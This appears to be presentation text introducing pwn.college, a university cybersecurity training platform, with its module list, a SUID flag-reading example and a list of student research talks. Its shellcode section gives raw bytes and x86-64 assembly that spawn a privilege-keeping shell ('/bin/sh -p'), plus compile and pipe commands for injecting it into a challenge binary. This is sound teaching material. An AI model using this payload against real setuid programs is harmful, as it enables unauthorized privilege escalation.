./ pwn college

./ About

pwn.college is an education platform for students (and other interested parties) to learn about, and practice, core cybersecurity concepts in a hands-on fashion. In martial arts terms, it is designed to take a “white belt” in cybersecurity to becoming a “blue belt”, able to approach (simple) CTFs and wargames. The philosophy of pwn.college is “practice makes perfect”.

pwn.college was created by Zardus (Yan Shoshitaishvili) and kanak (Connor Nelson) at Arizona State University. It powers ASU’s Computer Systems Security course, CSE466, and is now open, for free, to participation for interested people around the world!

./ Modules

- Module 0: Introduction
- Module 1: Program Interaction
- Module 2: Program Misuse
- Module 3: Assembly Refresher
- Module 4: Shellcoding
- Module 5: Sandboxing
- Module 6: Debugging Refresher
- Module 7: Binary Reverse Engineering
- Module 8: Memory Errors
- Module 9: Exploitation
- Module A: Return Oriented Programming
- Module B: Dynamic Allocator Misuse
- Module C: Race Conditions
- Module D: Kernel Security
- Module E: Advanced Exploitation

./ Module: Misusing Programs

In this module the SUID bit will be given to a binary and the goal is to read the flag by it.

```
hacker@b38bdd753b5b:~$ cat /flag

pwn_college{747985b99bd25b8805ced639297720ae71e87a7acef580dc6b514143e5152133}

hacker@b38bdd753b5b:~$ exit
```

./ Module: Misusing Programs

But can you do that… 50 more times?

DEMO TIME!

./ Module: Shellcode Injection

Shellcoding is the art of injecting code into a program, usually during exploitation, to get it to carry out actions desired by the attacker

```
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x
68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
```

./ Module: Shellcode Injection

Shellcode:

```
.global _start
_start:
.intel_syntax noprefix
      mov rax, 59
      lea rdi, [rip+binsh]
      push 0
      lea rbx, [rip+dashp]
      push rbx
      lea rbx, [rip+binsh]
      push rbx
      mov rsi, rsp
      mov rdx, 0
      syscall
      mov rax, 60
      syscall
binsh:
      .string "/bin/sh"
dashp:
      .string "-p"
```

./ Module: Shellcode Injection

Compile it:

```
gcc -static -nostdlib -o shellcode-elf shellcode.s
```

Take a dump of the .text section:

```
objcopy --dump-section .text=shellcode-raw shellcode-elf
```

Pipe it to the binary:

```
(cat shellcode-raw; cat) | /challenge/babyshell_level1
```

./ End Goal

The final presentations of ASU's CSE 598, Applied Vulnerability Research.

0:26:28 Team Syntax (target: Pillow)
0:50:13 Team Transmitter (target: mujs)
1:22:17 Team Conclusion (target: radare2)
1:51:17 Team Unconquerable (target: gameboy emulator)
2:23:17 Team Airspace (target: PHP)